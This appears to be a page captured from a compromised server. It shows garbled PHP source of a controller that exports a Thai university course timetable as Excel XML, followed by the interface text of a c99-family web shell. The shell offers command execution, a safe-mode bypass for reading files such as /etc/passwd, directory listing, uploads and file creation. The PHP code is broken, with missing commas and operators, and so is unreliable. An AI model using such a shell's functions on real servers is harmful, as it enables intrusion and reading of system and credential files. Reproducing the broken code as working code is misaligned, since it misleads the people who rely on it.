$txml .= "\t\t\t<Row ss:Height=\"".(($row_tt1->ttPrsId==1) ? 50 25*$row_tt1->ttPrsId)."\">\n";
                
$txml .= "\t\t\t\t<Cell ss:StyleID=\"center\"><Data ss:Type=\"Number\">".$i."</Data></Cell>\n";
                
$txml .= "\t\t\t\t<Cell ss:StyleID=\"left\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'abbreDate(splitDateDb2(futureDay($row_wd->wdFrDate$row_tt1->ttDyId 1))))."</Data></Cell>\n";
                
$txml .= "\t\t\t\t<Cell ss:StyleID=\"center\"><Data ss:Type=\"String\">".substr($row_prd1->prdFrTime05)."-".substr($row_prd2->prdToTime05)."</Data></Cell>\n";
                
$txml .= "\t\t\t\t<Cell ss:StyleID=\"left\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'$row_tt1->ttTitle)."</Data></Cell>\n";
                
$txml .= "\t\t\t\t<Cell ss:StyleID=\"left\"><Data ss:Type=\"String\">";
                
$k 1;
                
$rs_tt $this->tt->qryTtByAll($row_co->coId$row_tt1->ttRmId$row_tt1->ttEtpMepId$row_tt1->ttEtpSepId$row_tt1->ttWdAcYWeekNo$row_tt1->ttDyId$row_tt1->ttPrdFrTime$row_tt1->ttPrdToTime$row_tt1->ttStId$row_tt1->ttTitle);
                foreach (
$rs_tt->result() as $row_tt2) {
                    
$con_qu_prs = array('prsId'     => $row_tt2->ttPrsId);
                    
$qu_prs $this->prs->qryPrsJoinPPC($con_qu_prs);
                    
$row_prs $qu_prs->row();

                    if (
$k 1)
                        
$txml .= "&#10;";

                    
$txml .= iconv('UTF-8''TIS-620//TRANSLIT'$row_prs->name);

                    
$k++;
                }    
// end foreach row_tt2
                
$txml .= "</Data></Cell>\n";
                
$txml .= "\t\t\t\t<Cell ss:StyleID=\"left\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT', (is_null($row_tt1->ttRmId) ? getval('mepName'$row_mep).":".getval('sepName'$row_sep) : getval('plRmNo'$row_rm)))."</Data></Cell>\n";
                
$txml .= "\t\t\t\t<Cell ss:StyleID=\"left\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'$row_st->stName)."</Data></Cell>\n";
                
$txml .= "\t\t\t</Row>\n";

                
$i++;
            }

            
$txml .= "\t\t</Table>\n";
            
$txml .= "\t\t<WorksheetOptions xmlns=\"urn:schemas-microsoft-com:office:excel\">\n";
            
$txml .= "\t\t\t<PageSetup>\n";
            
$txml .= "\t\t\t\t<Layout x:CenterHorizontal=\"1\"/>\n";
            
$txml .= "\t\t\t\t<PageMargins x:Bottom=\"0.8\" x:Left=\"0.5\" x:Right=\"0.5\" x:Top=\"0.8\"/>\n";
            
$txml .= "\t\t\t</PageSetup>\n";
            
$txml .= "\t\t</WorksheetOptions>\n";
            
$txml .= "\t</Worksheet>\n";
        }    
// end foreach rs_co

        
$txml .= "\t<Worksheet ss:Name=\"".iconv('UTF-8''TIS-620//TRANSLIT'"รวม")."\">\n";
        
$txml .= "\t\t<Table>\n";
        
$txml .= "\t\t\t<Column ss:AutoFitWidth=\"0\" ss:Width=\"20\"/>\n";
        
$txml .= "\t\t\t<Column ss:AutoFitWidth=\"0\" ss:Width=\"60\"/>\n";
        
$txml .= "\t\t\t<Column ss:AutoFitWidth=\"0\" ss:Width=\"60\"/>\n";
        
$txml .= "\t\t\t<Column ss:AutoFitWidth=\"0\" ss:Width=\"180\"/>\n";
        
$txml .= "\t\t\t<Column ss:AutoFitWidth=\"0\" ss:Width=\"60\"/>\n";
        
$txml .= "\t\t\t<Column ss:AutoFitWidth=\"0\" ss:Width=\"60\"/>\n";
        
$txml .= "\t\t\t<Row ss:Height=\"25\">\n";
        
$txml .= "\t\t\t\t<Cell ss:MergeAcross=\"6\" ss:StyleID=\"noBorder\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"รายวิชา ".getval('crsCode'$row_crs)." ".getval('crsName'$row_crs)." ".getval('crsUnit'$row_crs)." ปีการศึกษา ".$acY)."</Data></Cell>\n";
        
$txml .= "\t\t\t</Row>\n";
        
$txml .= "\t\t\t<Row ss:Height=\"25\">\n";
        
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"ที่")."</Data></Cell>\n";
        
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"วันเดือนปี")."</Data></Cell>\n";
        
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"เวลา")."</Data></Cell>\n";
        
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"บท/เรื่อง/หัวข้อสอน")."</Data></Cell>\n";
        
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"อาจารย์")."</Data></Cell>\n";
        
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"ห้อง")."</Data></Cell>\n";
        
$txml .= "\t\t\t\t<Cell ss:StyleID=\"bold\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'"หมายเหตุ")."</Data></Cell>\n";
        
$txml .= "\t\t\t</Row>\n";

        
$i 1;
        
$rs_tt $this->tt->qryTtByAcYCrsIdGroupAllOrderAcYWeekNoDyIdFrPr($acY$crsId);
        foreach (
$rs_tt->result() as $row_tt1) {
            
$this->co->coId $row_tt1->ttCoId;
            
$qu_co $this->co->get_by_key();
            
$row_co $qu_co->num_rows() ? $qu_co->row() : NULL;

            
$this->prd->prdId $row_tt1->ttPrdFrTime;
            
$qu_prd $this->prd->get_by_key();
            
$row_prd1 $qu_prd->row();

            
$this->prd->prdId $row_tt1->ttPrdToTime;
            
$qu_prd $this->prd->get_by_key();
            
$row_prd2 $qu_prd->row();

            
$this->wd->wdAcY $row_co->coAcY;
            
$this->wd->wdAcYWeekNo $row_tt1->ttWdAcYWeekNo;
            
$qu_wd $this->wd->get_by_key();
            
$row_wd $qu_wd->row();

            
$this->rm->plHwId $row_tt1->ttRmId;
            
$qu_rm $this->rm->get_by_key();
            
$row_rm $qu_rm->num_rows() ? $qu_rm->row() : NULL;

            
$this->mep->mepId $row_tt1->ttEtpMepId;
            
$qu_mep $this->mep->get_by_key();
            
$row_mep $qu_mep->num_rows() ? $qu_mep->row() : NULL;

            
$this->sep->sepId $row_tt1->ttEtpSepId;
            
$qu_sep $this->sep->get_by_key();
            
$row_sep $qu_sep->num_rows() ? $qu_sep->row() : NULL;

            
$this->st->stId $row_tt1->ttStId;
            
$qu_st $this->st->get_by_key();
            
$row_st $qu_st->row();

            
$txml .= "\t\t\t<Row ss:Height=\"".(($row_tt1->ttPrsId==1) ? 50 25*$row_tt1->ttPrsId)."\">\n";
            
$txml .= "\t\t\t\t<Cell ss:StyleID=\"center\"><Data ss:Type=\"Number\">".$i."</Data></Cell>\n";
            
$txml .= "\t\t\t\t<Cell ss:StyleID=\"left\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'abbreDate(splitDateDb2(futureDay($row_wd->wdFrDate$row_tt1->ttDyId 1))))."</Data></Cell>\n";
            
$txml .= "\t\t\t\t<Cell ss:StyleID=\"center\"><Data ss:Type=\"String\">".substr($row_prd1->prdFrTime05)."-".substr($row_prd2->prdToTime05)."</Data></Cell>\n";
            
$txml .= "\t\t\t\t<Cell ss:StyleID=\"left\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'$row_tt1->ttTitle)."</Data></Cell>\n";
            
$txml .= "\t\t\t\t<Cell ss:StyleID=\"left\"><Data ss:Type=\"String\">";
            
$k 1;
            
$rs_tt $this->tt->qryTtByAll($row_tt1->ttCoId$row_tt1->ttRmId$row_tt1->ttEtpMepId$row_tt1->ttEtpSepId$row_tt1->ttWdAcYWeekNo$row_tt1->ttDyId$row_tt1->ttPrdFrTime$row_tt1->ttPrdToTime$row_tt1->ttStId$row_tt1->ttTitle);
            foreach (
$rs_tt->result() as $row_tt2) {
                
$con_qu_prs = array('prsId'     => $row_tt2->ttPrsId);
                
$qu_prs $this->prs->qryPrsJoinPPC($con_qu_prs);
                
$row_prs $qu_prs->row();

                if (
$k 1)
                    
$txml .= "&#10;";

                
$txml .= iconv('UTF-8''TIS-620//TRANSLIT'$row_prs->name);

                
$k++;
            }
            
$txml .= "</Data></Cell>\n";
            
$txml .= "\t\t\t\t<Cell ss:StyleID=\"left\"><Data ss:Type=\"String\">".(is_null($row_tt1->ttRmId) ? getval('mepName'$row_mep).":".getval('sepName'$row_sep) : getval('plRmNo'$row_rm))."</Data></Cell>\n";
            
$txml .= "\t\t\t\t<Cell ss:StyleID=\"left\"><Data ss:Type=\"String\">".iconv('UTF-8''TIS-620//TRANSLIT'$row_st->stName."&#10;กลุ่ม ".$row_co->coSection)."</Data></Cell>\n";
            
$txml .= "\t\t\t</Row>\n";

            
$i++;
        }
        
$txml .= "\t\t</Table>\n";
        
$txml .= "\t\t<WorksheetOptions xmlns=\"urn:schemas-microsoft-com:office:excel\">\n";
        
$txml .= "\t\t\t<PageSetup>\n";
        
$txml .= "\t\t\t\t<Layout x:CenterHorizontal=\"1\"/>\n";
        
$txml .= "\t\t\t\t<PageMargins x:Bottom=\"0.8\" x:Left=\"0.5\" x:Right=\"0.5\" x:Top=\"0.8\"/>\n";
        
$txml .= "\t\t\t</PageSetup>\n";
        
$txml .= "\t\t</WorksheetOptions>\n";
        
$txml .= "\t</Worksheet>\n";

        
$data['txml'] = $txml;

        
$this->load->view($this->config->item("rg_folder")."v_rptTt2"$data);
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0181 ]--